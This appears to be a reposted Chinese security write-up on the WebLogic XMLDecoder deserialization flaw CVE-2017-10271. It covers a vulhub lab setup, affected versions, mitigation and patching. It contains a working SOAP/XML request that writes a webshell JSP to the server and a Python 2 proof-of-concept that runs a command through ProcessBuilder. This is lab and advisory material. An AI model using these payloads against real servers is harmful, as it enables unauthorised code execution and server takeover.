1、漏洞描述
CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice
服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。
2、涉及版本
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
3、环境搭建(vulhub)
cd weblogic
cd CVE-2017-10271
docker-compose up -d
docker-compose config
4、验证漏洞
1)访问链接:
http://192.168.61.129:7001/wls-wsat/CoordinatorPortType
返回如下页面,表示漏洞存在。
漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
2)构造数据包
构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.61.129:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 645
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("webshell"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3)验证webshell。
我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp
不熟悉JAVA可以了解构造的XML。
https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm
4)实战下Linux反弹shell。
我们kali开启监听。
成功获取到shell。
5、漏洞检测
#!/usr/bin/env python
# coding:utf-8
# @Date : 2017/12/22 17:11
# @File : weblogic_poc.py
# @Author : sevck
# @Link : http://www.qingteng.cn
#-------------------------------------------------------------------------
import requests
import re
from sys import argv
heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Content-Type': 'text/xml;charset=UTF-8'
}
def poc(url):
if not url.startswith("http"):
url = "http://" + url
if "/" in url:
url += '/wls-wsat/CoordinatorPortType'
post_str = '''
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>/bin/touch</string>
</void>
<void index="1">
<string>/tmp/weblogic</string>
</void>
</array>
<void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
try:
response = requests.post(url, data=post_str, verify=False, timeout=5, headers=heads)
response = response.text
response = re.search(r"<faultstring>.*</faultstring>", response).group(0)
except Exception, e:
response = ""
if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
result = "Vulnerability"
return result
else:
result = "No Vulnerability"
return result
if __name__ == '__main__':
if len(argv) == 1:
print "python weblogic_poc.py url:port"
exit(0)
else:
url = argv[1]
result = poc(url=url)
print result
检测命令如下:python2 CVE-2017-10271.py http://192.168.61.129:7001
各种检测的工具,也都能检测到。
6、解决方案
1.临时解决方案
根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
删除后重启Weblogic域控制器服务:
DOMAIN_NAME/bin/stopWeblogic.sh #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh #启动服务
删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
2.官方补丁修复
前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839
原文始发于微信公众号(赤弋安全团队):WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论